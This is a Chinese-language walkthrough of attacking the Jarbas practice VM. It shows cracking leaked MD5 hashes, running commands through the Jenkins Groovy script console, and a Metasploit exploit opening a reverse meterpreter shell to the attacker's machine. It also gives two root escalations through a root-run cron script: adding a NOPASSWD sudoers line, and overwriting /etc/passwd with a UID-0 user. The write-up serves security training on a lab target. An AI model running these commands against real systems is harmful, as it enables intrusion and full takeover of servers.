jarbas渗透实战

jarbas靶机渗透,利用jenkins_script来getshell,利用crontab定时执行练习提权
靶机IP:192.168.8.141

信息收集

nmap -sS -Pn -A -p- -n 192.168.8.141
jarbas渗透实战_第1张图片
1

开了不少端口服务

22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT

dir爆一下目录


jarbas渗透实战_第2张图片
2

发现了一些可疑目录:

http://192.168.8.141:80//access.html
jarbas渗透实战_第3张图片
a
tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

登录网站后台

这些就是密码hash吧,拿去md5解

tiago:italia99
trindade:marianna
eder:vipsu
jarbas渗透实战_第4张图片
a

走8080端口的web,是一个网站后台管理登录,三组账号、密码尝试登录,只有第三组登录成功,进入网站后台

http://192.168.8.141:8080/script发现能够执行 Groovy脚本,可以直接getshell

尝试执行 ifconfig

println "ifconfig".execute().text
jarbas渗透实战_第5张图片
a

可以利用Groovy写入一句话getshell

new File("/var/www/html/shell.php").write('');

无奈,没有权限


jarbas渗透实战_第6张图片
a

msf利用jenkins_script_console漏洞getshell

直接在msf中利用jenkins_script_console漏洞getshell吧

search Jenkins
use exploit/multi/http/jenkins_script_console
set RHOSTS 192.168.8.141
set RPORT 8080
set USERNAME eder
set PASSWORD vipsu
set TARGETURI /
set target 1
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.8.253
exploit
jarbas渗透实战_第7张图片
a

成功反弹:


jarbas渗透实战_第8张图片
a

先用python切一下bash

python -c 'import pty;pty.spawn("/bin/bash")'

提权方法一

查看靶机的定时任务

cat /etc/crontab

发现一个以root身份定时执行的任务CleaningScript.sh


jarbas渗透实战_第9张图片
a

修改CleaningScript.sh内容,使它能够修改sudoers,给予当前用户jenkins免密码执行sudo的权限。

并利用crontab定时执行该任务

echo "echo 'jenkins ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" >> /etc/script/CleaningScript.sh
a

每隔五分钟执行一次 CleaningScript.sh,等待执行

利用

sudo /bin/bash 

切换到root权限


jarbas渗透实战_第10张图片
a

get flag:


jarbas渗透实战_第11张图片
a

提权方法二

上传一个伪造的passwd文件,我们在里面添加一个具有root权限的超级用户hack,因为一般的cp拷贝命令是没有权限操作/etc/passwd文件的,所以我们需要将给cp命令添加权限的命令写入CleaningScript.sh文件中,隔五分钟自动执行一次,这样cp拷贝命令执行时具有对/etc/passwd的操作权限,就可以替换掉原来的/etc/passwd文件。可以使hack成为了超级用户:

实现过程如下:

1、给cp命令加权的命令写入文件:

cd /etc/script/             
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh
jarbas渗透实战_第12张图片
a

2、在终端生成加盐的用户名密码hash

openssl passwd -1 -salt hack admin
#该命令用于生成hash,-1表示用MD5基于BSD的密钥算法。用户名为hack,密码是admin

hash值为:

$1$hack$S2VoJ5vlbVgrq0HbeaFfE1
a

3、在本机将生成的新用户hash加入到伪造的passwd文件中:

hack:$1$hack$S2VoJ5vlbVgrq0HbeaFfE1:0:0:root:/root:/bin/bash

4、执行如下命令:

upload /root/passwd /tmp         #这里需要先crtl+c退出shell回到会话,再用会话的upload命令上传到/tmp目录下
shell                            #切换到shell
python -c 'import pty;pty.spawn("/bin/bash")'
jarbas渗透实战_第13张图片
a

5、在shell执行:

cd /tmp
cp passwd /etc/passwd             #拷贝伪造得的passwd文件覆盖原本的/etc/passwd文件
cat /etc/passwd                   #查看是否拷贝成功

拷贝成功:


jarbas渗透实战_第14张图片
a

6、切换到新创建的hack用户:

su hack

密码:admin

成功拿到root权限:


jarbas渗透实战_第15张图片
a

成功get flag:


jarbas渗透实战_第16张图片
a

总结

1、web信息收集阶段,目录扫描,建议采用多工具扫描
2、登录网站后台,找到能上传,能执行,能反弹的地方;实在不行,查找该建站的cms的漏洞,进行利用
3、该靶机提权过程比较有意思,查看靶机的定时任务执行器,发现每隔五分钟执行一次任务,想到通过以root身份修改sudoers,给予当前用户jenkins免密码执行sudo的权限来进行提权。以后要多留意该方法。
4、提权新思路,既然任务定时脚本自动以root权限执行,那就将cp复制命令作为写入执行,并构造一个hack登录用户写入passwd,覆盖原文件,执行su提取。

jarbas靶机百度云下载
链接:https://pan.baidu.com/s/1S4hI0S_mH60uNz1_jQho9g
提取码:o3p0

你可能感兴趣的:(jarbas渗透实战)